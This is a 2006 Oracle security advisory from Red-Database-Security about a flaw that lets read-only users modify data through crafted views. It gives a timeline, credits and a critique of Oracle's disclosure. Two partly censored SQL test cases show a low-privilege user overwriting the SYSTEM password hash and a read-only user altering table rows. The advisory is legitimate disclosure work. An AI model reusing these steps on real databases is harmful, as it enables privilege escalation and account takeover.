|
Red-Database-Security GmbH is specialized in Oracle SecurityProductsRepscan 2.5 Hedgehog Enterprise Checkpwd (free)
Services
Information
Company |
Read-only user can modify data
Preface Thursday 6th April 2006, Oracle released a note on the Oracle knowledgebase Metalink with details about an unfixed security vulnerability (=0day) and a working test case (=exploit code) which effects all versions of Oracle from 9.2.0.1 to 10.2.0.3 (but all versions since 7.3 are affected). This note "363848.1 – A User with SELECT Object Privilege on Base Tables Can Delete Rows from a View" was available last week to Metalink customers. The note was also displayed in the daily headlines section of the Metalink and sent to subscribers of the daily headline section. That’s why this information can be assumed as public knowledge and DBAs/Developers which missed the note on Metalink should know this vulnerability in order to avoid / mitigate the risk (if possible) whilst waiting for a patch from Oracle. After noticing the note, I informed Oracle secalert that releasing such information on Metalink is not a wise idea. Oracle normally criticises individuals and/or companies for releasing information about Oracle vulnerabilities (like David Litchfield from NGSSoftware for releasing information an ever not fixed bug in mod_plsql gateway). In this case, not only Oracle released detailed information on the vulnerability; they also included the working exploit code on the Metalink. In an interview, the Oracle CSO Mary Ann Davidson stated: “I’ve known customers to terminate contracts … for releasing exploit code… you might get applause from hackers… but business will not pay you to slit their throats. With knowledge comes responsibility.” After my email, Oracle removed the note from Metalink. Details In Oracle versions (7.3-10.2.0.3) exists an unpatched vulnerability which allows users with “SELECT” only privileges on a base table to insert/update/delete data. The inital vulnerability required the privilege "CREATE VIEW". After a reporting on Andrew Max Blog it seems that the "CREATE VIEW" privilege is NOT needed. It seems that ALL versions from 7.3 - 10.2.0.3 are affected. I could reproduce the problem on Oracle 8i.. The severity of this problem is critical and can eliminate the entire role concept because in well designed applications there is normally a read-only role for low-privilege users (e.g. reporting or external auditors). Patch Information Currently there are no patches/workarounds available. According to Oracle secalert Oracle will provide patches in a future critical patch update. This issue is not patched in the April 2006 CPU. Test case 1 (without the view) The user dbsnmp has only the privilege "SELECT ANY DICTIONARY". dbsnmp normally can't update tables in the data dictionary. Exploiting this bug allows the modification of the SYSTEM password C:\>sqlplus dbsnmp/dbsnmp SQL*Plus: Release 10.1.0.4.0 - Production on Thu Apr 11 12:20:27 2006 Copyright (c) 1982, 2005, Oracle. All rights reserved. Connected to: Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Production With the Partitioning, OLAP and Data Mining options SQL> select * from v$version; BANNER ---------------------------------------------------------------- Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - Prod PL/SQL Release 10.1.0.4.0 - Production CORE 10.1.0.4.0 Production TNS for 32-bit Windows: Version 10.1.0.4.0 - Production NLSRTL Version 10.1.0.4.0 - Production SQL> -- (as expected) SQL> update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM'; update sys.user$ set password='BC903FAEBB69EFBF' where name='SYSTEM' * ERROR at line 1: ORA-01031: insufficient privileges SQL> -- create a (specially crafted) custom view SQL> create or replace view e as select [...censored...]; View created. SQL> -- Now we change the password of the user SYSTEM to ALEX SQL> update e set password='BC903FAEBB69EFBF' where name ='SYSTEM'; 1 row updated. Test case 1 (without the view from Jens) set echo on connect / as sysdba create user tableowner identified by abcd123 default tablespace tools quota unlimited on tools; grant create session, create table to tableowner; create user readuser identified by abcd123 default tablespace tools; grant create session, create view to readuser; connect tableowner/abcd123 create table t1 (id number primary key); insert into t1 values (1); grant select on t1 to readuser; connect readuser/abcd123 create view del_view as [censored] select * from del_view; delete from del_view; commit; select * from del_view; insert into del_view values values (1); commit; select * from del_view; update del_view set id=99; commit; select * from del_view; connect / as sysdba drop user tableowner cascade; drop user readuser cascade; exit Workarounds / Risk Mitigation No workarounds available. Credits Special thanks to Jens Flasche who made Red-Database-Security aware of the Metalink note and for the first analysis + additional test cases. Also to Dr. Christian Kleinewächter and Swen Thümmler (original reporter), Niall Litchfield (reported that 8i is vulnerable too) and Andrew Max (view is not needed). Related bugs 2002 there was a similar bug in Oracle 9i Rel.1. It was possible to escalate privileges via an ANSI outer join. It seems that Oracle introduced this bug with Oracle 9i Rel. 1. Timeline 24-feb-2006 Dr. Christian Kleinewächter and Swen Thümmler from Infinity3 GmbH found and reported this bug to Oracle secalert 6-apr-2006 Oracle published vulnerability + test case on Metalink without mentioning the bug reporters 6-apr-2006 Oracle secalert informed about the note in Metalink 7-apr-2006 Note removed from Metalink 10-apr-2006 Advisory released 11-apr-2006 Advisory enhanced 18-jul-2006 Advisory enhanced History 1.00 - 10-apr-2006 - Initial version 1.01 - 10-apr-2006 - Credits for the original founder added. 1.02 - 11-apr-2006 - Testcase for user dbsnmp modified. Primary key is not necessary for exploitation. Thanks to Michael Dimitriadis for the hint. 1.03 - 11-apr-2006 - 9.1.0.0-9.1.0.5 tested - also vulnerable (still used for iAS infrastructure database) 1.04 - 11-apr-2006 - Minor corrections 1.05 - 21-apr-2006 - Advisory from Infinity-3 added 1.06 - 21-apr-2006 - 8i as vulnerable added - Thanks to Niall Litchfield 1.07 - 25-apr-2006 - Views are not necessary to exploit this vulnerability - Thanks to Andrew Max 1.08 - 18-jul-2006 - Norbert Keuler from Unilog informed me that granting select privileges via roles does not help against this vulnerability. © 2006 by Red-Database-Security GmbH - last update 18-jul-2006 |
